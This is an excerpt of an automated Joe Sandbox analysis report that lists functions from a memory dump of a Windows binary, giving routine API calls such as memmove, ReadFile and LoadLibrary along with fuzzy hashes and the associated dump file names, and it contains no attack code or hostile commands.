Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 5e456021488a393c0227776ee525e2062eb3f4aa303ce8fdd2274eb847904e4a
Instruction ID: 89a59339dd767a18776f9af486bbb1f17c85e6ed6ee98dc111f610072458da81
Opcode Fuzzy Hash: 5e456021488a393c0227776ee525e2062eb3f4aa303ce8fdd2274eb847904e4a
Instruction Fuzzy Hash: B1F0E9318117149BDF25BBB5A806F5E77E17F51334F258209F824AB1C1CB7C99029F55

Function 0018F55E Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0018F57A

Part of subcall function 0017E1F0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0017E279

Sleep.KERNEL32(00000000), ref: 001E75D3

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessagePeekSleepTimetime
String ID:
API String ID: 1792118007-0
Opcode ID: 6819e653c38da8c2dac016813b18de66c90f69a67767616923cb17e752415258
Instruction ID: 3bdc5b1dc9f4833b72afe7e699bb005774574cda452e592d2aa5bc6971d27089
Opcode Fuzzy Hash: 6819e653c38da8c2dac016813b18de66c90f69a67767616923cb17e752415258
Instruction Fuzzy Hash: B9F08C712046149FD314EF69D409BA6BBE9AF68320F00402AF81EC7251DB70A940CBD1

Function 001781C6 Relevance: 1.9, APIs: 1, Instructions: 438COMMON

Download Yara Rule

APIs

Part of subcall function 001784A6: __swprintf.LIBCMT ref: 001784E5
Part of subcall function 001784A6: __itow.LIBCMT ref: 00178519

__wcsnicmp.LIBCMT ref: 001783C4

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: __itow__swprintf__wcsnicmp
String ID:
API String ID: 712828618-0
Opcode ID: 644cb6cfc36239dde98e496c7c38761c236fa2d777c94794c5dffbcf05f0f947
Instruction ID: d8dc3850166bb9c33e510ce920945d1762fada77e51aa928feab67d4642a6fa0
Opcode Fuzzy Hash: 644cb6cfc36239dde98e496c7c38761c236fa2d777c94794c5dffbcf05f0f947
Instruction Fuzzy Hash: 57F16B71508742AFC705EF18C89196EBBF5FF98314F54891DF88A97221DB30EA05CB92

Function 00184040 Relevance: 1.7, APIs: 1, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ca599920e64f453315c057626f71e299ebb78824d6afaa63b8979ad9d3f7f0c
Instruction ID: 2c46bdaa05b04a3775aaf51bea2d5bf3667b7e5d0aeb61e6ebb37a52988139b2
Opcode Fuzzy Hash: 9ca599920e64f453315c057626f71e299ebb78824d6afaa63b8979ad9d3f7f0c
Instruction Fuzzy Hash: F761B174A002069FDB14EF54C884ABAF7F4FF28310F108269E91587681EB31EE95CF91

Function 0018EF0D Relevance: 1.7, APIs: 1, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6c593fdd9a208465862ec2571085aa0bd0f833798dfddb15cf363781f53116e
Instruction ID: 5d47b8608fb934dd1e39d47a072fe7a9f6204f65f076ad941c8506afe8fded72
Opcode Fuzzy Hash: b6c593fdd9a208465862ec2571085aa0bd0f833798dfddb15cf363781f53116e
Instruction Fuzzy Hash: 3C519235600504AFCF14FFA8C991EAD77FAAF69354B158069F50A9B293DB30EE01DB90

Function 0017B6D0 Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0017B7C2

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 653a53b8435a0736043d6b22074b13ebbbade5d52c540747a625e5d2bf85aa42
Instruction ID: 5aa892d2914bf28e9afad58853eaa3d55c5286354ae5e9a805fed452db927f9a
Opcode Fuzzy Hash: 653a53b8435a0736043d6b22074b13ebbbade5d52c540747a625e5d2bf85aa42
Instruction Fuzzy Hash: AF415A792046029FC728DF19D491A62B7F0FF89361715C46AE99E8B791D730E892CB50

Function 00174EE9 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,00000001,00000000,00000000,?,?,00000000), ref: 00174F8F

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: f1c0e97d190e44fa3926af84ba15b0177304eadf45a914b4a2f76e5eeb34c056
Instruction ID: 940bc81cd54e07947414c91010af09b2c2940d0eb864bb8fdb6cc6cb9b3d0357
Opcode Fuzzy Hash: f1c0e97d190e44fa3926af84ba15b0177304eadf45a914b4a2f76e5eeb34c056
Instruction Fuzzy Hash: EA314971A00A5AAFCB08CF6DC484AADB7B5BF88314F15C629E81997754D770BDA0CBD0

Function 0018F92C Relevance: 1.6, APIs: 1, Instructions: 94COMMON

Download Yara Rule

APIs

select.WS2_32 ref: 0018F9DB

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: select
String ID:
API String ID: 1274211008-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: cb0445c0ee4b7e4c08e8635863cc3e55a25fc8315e69b6ab7f92028b9f1bc84e
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 7231E670A04106EBC718EF58D480A69FBA5FF49318B6582A9E449CB255D731EEC2CFD0

Function 001EAA5A Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 001EAA65

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: a3e46fd2efa8c4bbc33996c87aa59e13f7c3cae1e8926e5befc7f6f768384a7b
Instruction ID: 13ca6509b54e20dc58f690ff034bd8c81badf07fe5b97cf0ef24633054187907
Opcode Fuzzy Hash: a3e46fd2efa8c4bbc33996c87aa59e13f7c3cae1e8926e5befc7f6f768384a7b
Instruction Fuzzy Hash: 63414C74504651CFEB25DF29C484B2ABBE1BF49308F1985ACE9994B362C372F885CF52

Function 00174D67 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00174DAD

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 9618762ed506dbe3c819fa6dfaa9aa761296ab8e201b90faf73097a08c03d699
Instruction ID: 80b90cbd423631486f1b5589e7ad2f3d52c4c196f97e269baebebc73717341c4
Opcode Fuzzy Hash: 9618762ed506dbe3c819fa6dfaa9aa761296ab8e201b90faf73097a08c03d699
Instruction Fuzzy Hash: 8421E771E00A44FBCF249F92F8496AD7BF8FB65340F22846DE48AC5110EB3095E1CB95

Function 0017D805 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0017D837

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 850a3e34ffcf0575de9322bf5b98585c373294fd89485bbbcd9ce223ec0d444b
Instruction ID: bf246cca8c2243fe236c04b1adb31f76dc70bd2c4071d17fc0bad428b53e10f4
Opcode Fuzzy Hash: 850a3e34ffcf0575de9322bf5b98585c373294fd89485bbbcd9ce223ec0d444b
Instruction Fuzzy Hash: 26111976600605DFDB24DF28E581916B7F9FF49364B20C82EE98ECB661E732E841CB50

Function 00173F9B Relevance: 1.6, APIs: 1, Instructions: 63libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00173F5D: FreeLibrary.KERNEL32(00000000,?), ref: 00173F90

LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,001734E2,?,00000001), ref: 00173FCD

Part of subcall function 00173E78: FreeLibrary.KERNEL32(00000000), ref: 00173EAB

Part of subcall function 00174010: _memmove.LIBCMT ref: 0017405A

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Library$Free$Load_memmove
String ID:
API String ID: 3640140200-0
Opcode ID: 06fcb71beb0d5df346d9dfdbb83d9fa15f1a80c27fdd858a7b6cb2312cd0273a
Instruction ID: 52878301317477180adcf772837a7968bf477840cd6b7f4f75260cba575e8f26
Opcode Fuzzy Hash: 06fcb71beb0d5df346d9dfdbb83d9fa15f1a80c27fdd858a7b6cb2312cd0273a
Instruction Fuzzy Hash: F411A332610205ABCF15BB64DC02FAD76B5AF60740F20C829F55AE71D1DF70AA45AB50

Function 001EAB2A Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 001EAB36

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 2f2e9bd1af4c210684bce7576506e514f77b7770f4b09215ebb40f0e7243b3ba
Instruction ID: 6194fa921afd6d7c14f65c4934586ab815e50215e8814c2c0702729527a6298a
Opcode Fuzzy Hash: 2f2e9bd1af4c210684bce7576506e514f77b7770f4b09215ebb40f0e7243b3ba
Instruction Fuzzy Hash: D2216970508605CFEB25EF64C444B2ABBE1BF89304F15496CF99947622C731E885CF52

Function 001D10E5 Relevance: 1.6, APIs: 1, Instructions: 57libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?), ref: 001D1100

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5d1c7c467395a618b281bfaa2fa4d098b98022313a4f216c4d716e618e175c1b
Instruction ID: fee76b658f1756a857c2d136647106be4c9966f1d02c98ce2a0f533db1339850
Opcode Fuzzy Hash: 5d1c7c467395a618b281bfaa2fa4d098b98022313a4f216c4d716e618e175c1b
Instruction Fuzzy Hash: B8119E36301215BFDB15DF68C880ADA77E9FF49720B05816AFD4A8B351CB30AD80CB91

Function 00174CA0 Relevance: 1.6, APIs: 1, Instructions: 51fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,00010000,?,00000000,?,00000000,00000000,?,00174E69,00000000,00010000,00000000,00000000,00000000,00000000), ref: 00174CF7

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 60161e134dba5b3c8fdab033c5fa2a3ba1cabd0f9ff01011119cac1735afdcd7
Instruction ID: 46778727b65d4b467e778bf6b5bdae1a45e8797d99d4ef79f022dc528b531a1b
Opcode Fuzzy Hash: 60161e134dba5b3c8fdab033c5fa2a3ba1cabd0f9ff01011119cac1735afdcd7
Instruction Fuzzy Hash: C6115731201B049FD321CF0AC880F66B7F9AF54314F10C41EE5AA86A50C7B1E884CB60

Function 00174D29 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 001E45F9

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 8f18987bb35b2baff0789867a32b92a27879a4fd73e9d049a8f42728d02b6011
Instruction ID: 3bebc4e522a1a7585f51087453a651331cb3825787a9fd25b5c0a69a5a445fdb
Opcode Fuzzy Hash: 8f18987bb35b2baff0789867a32b92a27879a4fd73e9d049a8f42728d02b6011
Instruction Fuzzy Hash: 82017175200541AFC305DB28C881D39F7B9FF953507548159E469C7702CB30ED22CBE1

Function 0017CAEE Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0017CB2F

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: b5c2f79ffc866aa4d9d8d5862c779d30c68016984ecab95dea654ca3aae33fc1
Instruction ID: 4b2d6ea17a3ac4ab78af940a08b88c8299f608aa6f4c5d53add510bf8c89f191
Opcode Fuzzy Hash: b5c2f79ffc866aa4d9d8d5862c779d30c68016984ecab95dea654ca3aae33fc1
Instruction Fuzzy Hash: A001F9722107016ED7149B78D807A66BBA8DF587A0F50C53EF95ECB1D1EB71E5408B90

Function 0018F2D0 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0018F307

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 02776e319c847e67457d139bf32e2937006cb129a4eaf7d285538e405d1422c3
Instruction ID: 6ce5e1385b546545f9044f508dee579d376b369912a932294daab8e8680dd3ef
Opcode Fuzzy Hash: 02776e319c847e67457d139bf32e2937006cb129a4eaf7d285538e405d1422c3
Instruction Fuzzy Hash: 8401D631104A01EBCB35BF28D845A5ABBB9EFA1360B50853DFC5847251DB31A956CBA1

Function 00175116 Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(00000000,?,00000000,?,?,?,00175A39,?,?,?,-00000003,00000000,00000000), ref: 0017514E

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
